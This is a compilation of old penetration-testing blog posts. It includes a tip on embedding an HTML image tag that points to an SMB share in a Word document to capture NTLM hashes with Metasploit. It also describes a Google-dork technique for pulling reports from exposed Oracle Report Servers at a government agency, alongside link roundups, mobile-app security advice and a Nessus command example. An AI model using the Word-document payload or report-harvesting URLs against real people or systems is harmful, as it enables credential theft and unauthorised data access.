Embeding A Link To A Network Share In A Word Doc

Someone asked me how to embed an HTML Link to an smb share into a word doc. End result would be to use the capture/server/smb or exploit/windows/exploit/smb/smb_relay modules. Easy right? Well it wasn't THAT easy...

In office 2010 when I'd go to pull in a picture to the document by adding a picture from a network share the picture would become part of the doc and not be retrieved every time the document opened. The solution was to add some html to the document.

I ended up addind the following code to the office document (replace "[" or "]" with "<" or ">":

[html][body][img src="\\192.168.26.133\share\pwn.jpeg"
 width=1 height=1][/body][html] 

Once that is done go to insert-->object--text from file-->select your HTML file

Once that is done, save and open the document, if all is well you'll see the SMB requests to the network share you specified and if you are running the smb capture module you should see some traffic. Screenshot below shows the goods...I do realize the LM hashes are missing from smb capture screenie (disabled on windows 7?) but i was too lazy to install office on a VM just for the screenshot.



If this doesnt work for anyone let me know.

Oracle Report Server - 2-cent hack trick

I am now working on pentest in a government unit in Hong Kong, they simply expose numerous sexy confidential reports in their Oracle Report Server:

I would like to highlight two interesting points:
1. Execute servlet commands
http://reports.somethingoracle.com/reports/rwservlet

2. Get some confidential reports from Google or target
inurl:reports/rwservlet

For example, you could know other project fund from government
https://app.somethingoracle.com/reports/rwservlet?epm+report=epm345_stip_report.rdf+p_stip_year=2009+p_incld_transit=YES+p_break_type=R+p_draft_rept=NO

Enjoy :)

- Darkfloyd

Oracle Web Hacking Part II

Part II of the articles based on my Hacking Oracle Web Applications talk was posted on EthicalHacker.net today. Head over there to check it out.

Oracle Web Hacking Part II

Oracle Web Hacking Part I

Weekly "That's Interesting" Wrap-Up 18 Nov 2011

Break into other people's vuln scanners...or just waste your pentester's time...
https://github.com/kost/vulnscan-pwcrack

TrueCrypt guesser is pretty neat too
https://github.com/kost/tc-guesser

unlock with my face, or a picture of my face...no difference :-<
http://www.youtube.com/watch?v=BwfYSR7HttA

signing malware with legit certs...booyah
http://www.f-secure.com/weblog/archives/00002269.html

cracking Siri

http://applidium.com/en/news/cracking_siri/

HBGary: The New Battlefield: Fighting and Defeating APT Attacks in the Enterprise

http://www.hbgary.com/attachments/thenewbattlefield.pdf

*You can stop reading at the beginning of the sales pitch :-)

Weekly "That's Interesting" Wrap-Up 11 Nov 2011

Intersystems Cache Database

I know, had never heard of it either. But here are some commands so you can enum some version and other system type infoz:

http://docs.intersystems.com/cache20111/csp/docbook/DocBook.UI.Page.cls?KEY=RSQL_cosvariables


Hacking Satellites
http://www.dailymail.co.uk/news/article-2055311/Hackers-infiltrate-US-satellites-taken-complete-control-achieving-steps-required-command-satellite.html


Finally a decent APT article
http://krebsonsecurity.com/2011/10/chasing-apt-persistence-pays-off/

decent APT advice
http://blog.deepsec.net/?p=684

Joe McCray made an APT resource
http://advanced-persistent-threat.com/

More Duqu stuff http://www.securelist.com/en/blog/208193243/The_Duqu_Saga_Continues_Enter_Mr_B_Jason_and_TVs_Dexter

Lets Get Real

We work in a variety of large environments, networks from 30k hosts up to 100k hosts and like many of you one of our jobs is to provide security advice to our customers. In the infosec industry many times this advice involves recommending things like patching, AV selection, FW rules, SEIMs, reverse engineering tools, app review, etc. (and most often purchasing more assessments ;)

However what we are finding most often is many places aren't even ready to deal with implementing advanced security as their basic IT operations are not in order. How many times have you pen tested a customer and heard "oh yeh that belongs to the desktop support group, good luck getting anything done there"?

Many times we have generated a number of serious alerts on a sensitive server including the use of stolen cached domain admin credentials, password dumping tools and even rebooting the server itself. We will see a ticket generated in the support system, an admin looks at the sever, fills out the ticket and says: "AV caught the attempt and the server came back up fine" ticket closed. Often users won't report anything suspicious, even when our actions are blatant, because they are so accustomed to everything being broken and unstable.

Beyond automating patch Tuesday and keeping AV up to date, and definitely beyond exploits, memory protections and reverse engineering, the most serious problem in security is that organizations lack even basic capabilities in managing their enterprises. Who's running still running XP SP2 (a vastly less secure OS than Win7) because of the expense involved in updating the enterprise? Businesses need security help that is willing to negotiate the maze of business concerns and understand enterprise IT needs in addition to being technically astute in security.

We've been to large companies where getting a network port to plug into to start testing can take 2 weeks. Where finding someone who understands how servers are configured or even how many servers there are can be a challenge. Environments that don't know what computers are on their own networks. Sure security needs to be built into the whole process, but I wonder, have we focused too much on what we want to do and not enough on what the customer's actually need?

Its not sexy or headline generating work, but little is more critical.

Val

Common mobile app vulnerabilities

After testing a fair number of mobile applications I thought I would share 3 of the most common vulnerabilities I've come across thus far. In regards to scope, when referring to "mobile applications", we really mean both the mobile application and the web-service.

"Hide-a-key-in-a-neon-pink-plastic-rock-next-to-the-front-door" storage:

This appears to be the most prevelant issue by far that I've come across. Insecure implementations include:

1) Storing plain-text credentials in a SQLite database
2) Storing XML files that contain plain-text credentials or other sensitive account details
3) Storing plain-text credentials in a system wide database (e.g. - accounts.db/Android)

Moral of the story is, if a mobile device is lost or stolen (happens way more often than it should), credentials are ripe for the picking. Physical access is not always required of course. Anyway, pretty much anyone who has spent 2 minutes on "The Googles" can find out where you are storing your metaphorical "house keys". There are solutions to this problem, for instance, I've heard great things about Android-SQLCipher and don't forget about platform API solutions as well (if your not a fan of third party libraries).

Crappy session handling:


I don't think this title will ever make its way on to an OWASP Top 10 but it certainly reflects the issue accurately. Not to say this is limited only to Mobile Apps & Web Services, far from it, it is just very common amongst them.

Examples -

So, here is a fun one, pure basic-authorization schemas . You typically see this in a SOAP-service-to-Mobile-App architecture but obviously the two aren't mutually exclusive. For those not familiar with basic-authorization, it  means the user's credentials are sent in the standard basic-auth format (Base64 encoded user:password). The problem occurs when, instead of leveraging a session handling schema, the user/password combo is sent with every request to the web-service as a means to authenticate the user for the requested resource. There are many disadvantages. Namely, if SSL isn't in play, you've increased the likelihood that the credentials will be stolen (ahhh....... lattes, croissants and good ol' packet sniffing). Additionally, because you haven't a session to destroy, there is no inactivity lock-out. Typically the creds are stored (plain-text of course) on the device, retrieved by the app and then sent in the request on a per-request basis. This means, the person on that device may not be the person you intended to view potentially sensitive information.

Another big session-related issue is leveraging device identifiers or good old client-side data to control privileges of a user. Imagine the classic parameter tampering (userid=100 becomes userid=101) but this time with the UUID of an iPhone device. The classic session identifier -> user map -> role enforcement still works so it is unnecessary to build your schema in this way.

API Keys, Test Accounts and Dirty Laundry


From test account credentials along with the test URL, which provided juicy insight into the inner workings of an architecture to the personal email addresses of developers (think - social engineering/username enumeration), the list of things put into the source code can still be fairly surprising.

These applications are reversible. Especially Android apps, between dex2jar/apktool/jd-gui.......its pretty easy to see things not intended for your eyes. Developers need to scrub sensitive data prior to sending the code out for production and treat data like its a public blog post......everyone can read it. Oh, and make sure you aren't hard-coding API or encryption keys!

Okay, so those titles will never end up on a Top 10 but the content has! I would encourage those interested to check out the OWASP Mobile Top 10 Risks and please, don't forget the project always needs additional collaborators.

Cheers,

Ken

nessuscmd for scanning a host with a subset of plugins

Need to check a few specifc nessus plugins against a host?

$ sudo ./nessuscmd 192.168.1.92 -p80,443 -v -V -i 38157,10107

Starting nessuscmd 4.4.0
Scanning '192.168.1.92'...

Host 192.168.1.92 is up

Discovered open port http (80/tcp) on 192.168.1.92

[i] Plugin 10107 reported a result on port http (80/tcp) of 192.168.1.92
[i] Plugin 38157 reported a result on port http (80/tcp) of 192.168.1.92

+ Results found on 192.168.1.92
+ - Port http (80/tcp) is open
[i] Plugin ID 38157 Synopsis :
The remote web server contains a document sharing software Description : The remote web server is running SharePoint, a web interface for document management. As this interface is likely to contain sensitive information, make sure only authorized personel can log into this site See also : http://www.microsoft.com/Sharepoint/default.mspx

Solution : Make sure the proper access controls are put in place

Risk factor : None

Plugin output : The following instance of SharePoint was detected on the remote host :

Version : 12.0.0.6327
URL : http://192.168.1.92/

looks like the functionality has been there for awhile:
http://blog.tenablesecurity.com/2007/07/nessus-32-beta-.html